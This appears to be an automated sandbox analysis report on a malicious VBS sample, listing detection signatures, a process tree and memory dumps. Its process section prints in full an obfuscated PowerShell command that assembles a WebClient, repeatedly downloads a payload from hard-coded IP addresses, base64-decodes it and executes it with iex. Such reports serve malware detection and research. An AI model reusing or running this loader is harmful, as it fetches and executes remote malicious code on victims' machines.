Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/06/2024, 01:38

General

  • Target
    9362977cfd09e8e32bd857225fd08aeae9f8dd75a241bc63e454c762c5a480ce.vbs
  • Size 187KB
  • Sample240625-b2gdcaxapj
  • SHA256 9362977cfd09e8e32bd857225fd08aeae9f8dd75a241bc63e454c762c5a480ce
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9362977cfd09e8e32bd857225fd08aeae9f8dd75a241bc63e454c762c5a480ce.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Baglygtes Apositia147 stolthed Nuculania Bantamvgtsbokserne Tjenesteydelses Syringomyelic Tua Intergenerative Basisuddannelses Togae Nomotheism Suffixer Skanderedes Purportedly Ampulliform Seksuelt174 Infraclavicle Rumstation Cesaro Blyantstregernes40 Monoton Bogbinderiers Bragedes Baglygtes Apositia147 stolthed Nuculania Bantamvgtsbokserne Tjenesteydelses Syringomyelic Tua Intergenerative Basisuddannelses Togae Nomotheism Suffixer Skanderedes Purportedly Ampulliform Seksuelt174 Infraclavicle Rumstation Cesaro Blyantstregernes40 Monoton Bogbinderiers Bragedes';$Ansgningerne = 1;Function Kompromitterendes($Skelligartede){$Dekreters=$Skelligartede.Length-$Ansgningerne;$Sandpits='SUBSTRIN';$Sandpits+='G';For( $Arbejdsmssig=1;$Arbejdsmssig -lt $Dekreters;$Arbejdsmssig+=2){$Baglygtes+=$Skelligartede.$Sandpits.Invoke( $Arbejdsmssig, $Ansgningerne);}$Baglygtes;}function Hekseskud($Peliosis){ & ($gennemarbejdes) ($Peliosis);}$Ungamboled=Kompromitterendes 'IMWo zDi lVlPad/F5 .N0N N(jWfiFnGdAoPw,sI N.TO 1A0,. 0 ; W iUn.6.4B;l xB6F4B; ,r v.:r1F2D1...0D)F .Gwe c kDoM/S2 0 1 0E0L1,0 1C HF i rBe.f o x /,1T2,1D. 0R ';$Kardan=Kompromitterendes 'SU s.e r -CA g eFnLt. ';$Bantamvgtsbokserne=Kompromitterendes '.h tHt pa: /C/B1G9 4l..5,9s. 3 1 .F1,3D7S/Sk y sA.DsVnFpM> hLtFtTpT:V/S/E9H4 . 1O5 6U. 8..,8.8./Uk y.s .Ss.nBpI ';$Vader=Kompromitterendes 'B> ';$gennemarbejdes=Kompromitterendes ' i.eBx ';$Echinococcosis='Tua';$Kloakerende = Kompromitterendes 'SeBc h oU ,% aKpKp dTa t.a % \,TEr.o.sUfUrVi h e.d.eLnI. UTnGdS S&,& IeAcChBot t ';Hekseskud (Kompromitterendes '.$CgWlToPbMaAl :EF o,rem.i cAa,rOoUiCdM=.(Ic m d / cN S$GK l o aRkee rUe.nmd.eT). ');Hekseskud (Kompromitterendes 'H$ g,lVo bPa lV:TN u cAu lCaFnPi,a =S$ B a.nNtMa mUv g t s.bToKk,s e,r,nLeS.Rs p,lSiPt (t$KVSaUd.e r )N ');Hekseskud (Kompromitterendes ' [ NRe tO. Sde r v iTcSe P,oFiUnUtSMKa,nkaTg,e r.] :F: SSe,c.u,rAi tUyEP r.o tRoocDo l =P U[DN.e.t . SSe.c uPrDi t y PVrSo tBo c o lCT ybp,eS]A:E:.TtlFs 1H2W ');$Bantamvgtsbokserne=$Nuculania[0];$Contempts= (Kompromitterendes ' $ g lBoHb a.l,:.SSwKo.r,dDfUiIs h eLs = N e,w - O bGj e c,tO SS.ySsBt e.mS.BNUe.t . W e bIC l,i,e.n t');$Contempts+=$Formicaroid[1];Hekseskud ($Contempts);Hekseskud (Kompromitterendes ' $cS wsomrBd f i,s.h,e,sL.AHae aFdUeAr s [.$IKFa rSd,a.n,]A=S$SUDnEgVa m.bAo.lGeOd ');$Reddendum=Kompromitterendes ' $FSZw.oWrId,fDiKs hKe s . D o w nVl.oOaAdHFTi l,eT(.$ BRa n tTaMmBv gBtVsCb oMkRsSeUr nCeN,A$vM o,nfo tFo nG) ';$Monoton=$Formicaroid[0];Hekseskud (Kompromitterendes 'P$,g l oAbNa,l :.STe lStSe r =S(ST.e s,tB- PEaHtphF ,$ MBo.n o,tOo nS) ');while (!$Selter) {Hekseskud (Kompromitterendes 'h$CgDlao,bAa.l :HH eApJt a.c.oFlSiLc.=r$ t rLuEe ') ;Hekseskud $Reddendum;Hekseskud (Kompromitterendes '.SDtSa.r t -US l,eLe pg C4R ');Hekseskud (Kompromitterendes '.$Ag,l,oCb a lM:FSEeHl t.eLrI=S(PT eFsRtB- PRa.t hL $AMRo,nMoCtEo.n )u ') ;Hekseskud (Kompromitterendes ' $ g.l oAb,aSl,:,s tAo lOt h e d,=M$ gnl,oPb awlS:WA,pRo,s.iAtHiTa.1T4k7e+ +,% $TN u cBuOl aMnBiGa . cGoDu n t, ') ;$Bantamvgtsbokserne=$Nuculania[$stolthed];}$Impulsing109=335650;$oppede=26343;Hekseskud (Kompromitterendes 'T$SgFlIoLbia l :PIPnPt eFr gIe,n e rIaNt.iDvBeH T=T FG eAth-.C o,n t e.n,tb I$.M.oAnEo,tSo nS ');Hekseskud (Kompromitterendes 'C$ gDl oRbYaBlA:CACnUh n,gUeNr eAs. A=C C[PSOy,s t e m .DC o.navBeErRtB]P:H: FDr,o mRB,aBsGeD6N4 S t,rSiCn g (E$.I nEt.e,rDg,e nUeMrsaTtPiavYe )C ');Hekseskud (Kompromitterendes ' $BgKl oLb.aUlS:AN,orm ost hSe.iTsPm S=R W[LS y.sItNe mK. TAe x,tf.LESnVcAo dCiBn.g ] : :SASS.CTI IB..GAeWtISMt r i,n g.(,$BAAn.hSn gTeSrOe s )U ');Hekseskud (Kompromitterendes ',$Ig laoSbraSlD:CC oMlToGrUipfNiBcs6D= $SN,oKm o.t hPeKi sUmO. s.ucb,s tIrsiAngg (B$.ITm.pSu,l,sNi,noge1 0M9,,B$UoMpSpDeAd e ) ');Hekseskud $Colorific6;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4680
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trosfriheden.Und && echo t"
        3⤵
          PID:3200

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_vpfvjucp.dgk.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vpfvjucp.dgk.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/4680-0-0x00007FF9F8443000-0x00007FF9F8445000-memory.dmp

          memory/4680-6-0x00000156BEFE0000-0x00000156BF002000-memory.dmp

          memory/4680-11-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp

          memory/4680-12-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp

          memory/4680-13-0x00007FF9F8443000-0x00007FF9F8445000-memory.dmp

          memory/4680-14-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp

          memory/4680-15-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp

          memory/4680-16-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp